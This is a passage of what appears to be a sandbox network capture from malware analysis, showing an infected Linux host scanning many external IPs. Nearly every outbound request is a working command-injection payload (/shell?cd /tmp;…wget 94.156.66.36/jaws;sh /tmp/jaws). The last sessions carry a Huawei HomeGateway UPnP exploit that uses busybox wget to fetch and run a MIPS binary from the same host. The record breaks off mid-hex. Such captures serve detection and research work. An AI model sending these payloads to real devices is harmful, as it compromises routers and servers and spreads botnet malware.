Mar 13, 2024 09:36:07.197318077 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:36:07 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
166	192.168.2.15	40648	104.19.52.162	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:07.118468046 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
167	192.168.2.15	46804	97.107.136.97	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:07.119767904 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:07.208882093 CET	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 13 Mar 2024 08:36:07 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
168	192.168.2.15	49512	181.210.158.250	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:07.177679062 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:07.324873924 CET	292	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 13 Mar 2024 00:45:43 GMT Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Connection: close Content-Type: text/html Content-Length: 56 Data Raw: 3c 48 54 4d 4c 3e 3c 42 4f 44 59 3e 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 48 31 3e 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><BODY><H1>301 Moved Permanently</H1></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
169	192.168.2.15	36210	88.208.215.188	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:07.193218946 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:07.354902029 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:36:07 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
170	192.168.2.15	56222	18.239.254.46	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:07.210057020 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:07.389653921 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Wed, 13 Mar 2024 08:36:07 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
171	192.168.2.15	53568	83.66.85.244	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:07.246459007 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
172	192.168.2.15	37316	178.60.220.88	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:07.270308971 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:07.512057066 CET	62	IN	HTTP/1.0 400 Bad Request Connection: Keep-Alive
Mar 13, 2024 09:36:07.519774914 CET	701	IN	Data Raw: 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 30 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 36 33 30 37 32 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 Data Ascii: Keep-Alive: timeout=0Strict-Transport-Security: max-age=63072000; includeSubDomains; preloadX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: default-src 'self'; frame-src * 'self'; img-src * 's
Mar 13, 2024 09:36:07.998075008 CET	701	IN	Data Raw: 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 30 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 36 33 30 37 32 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 Data Ascii: Keep-Alive: timeout=0Strict-Transport-Security: max-age=63072000; includeSubDomains; preloadX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffContent-Security-Policy: default-src 'self'; frame-src * 'self'; img-src * 's

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.15	41448	45.197.50.182	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:07.355480909 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:07.680134058 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Wed, 13 Mar 2024 08:36:07 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.15	46934	43.227.22.178	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:07.397010088 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:07.739176989 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Mar 2024 08:36:07 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
Mar 13, 2024 09:36:08.523838043 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Mar 2024 08:36:07 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.15	47762	62.234.239.110	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:07.415524960 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:07.837198973 CET	495	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 301 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6c 6f 63 61 6c 68 6f 73 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at localhost Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.15	33084	176.35.107.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:08.222712040 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:08.758121967 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:09.782087088 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:11.830184937 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:16.021929026 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:24.213712931 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:40.597254992 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.15	46954	194.195.127.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:11.709846020 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:12.009622097 CET	489	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:36:11 GMT Server: Apache/2.4.38 (Debian) Content-Length: 295 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 3a 3a 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at ::1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.15	52882	4.157.16.63	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:11.809353113 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.15	50680	104.165.55.231	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:11.864411116 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.15	60620	156.224.11.234	37215

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:36:12.499031067 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 13, 2024 09:36:14.102078915 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 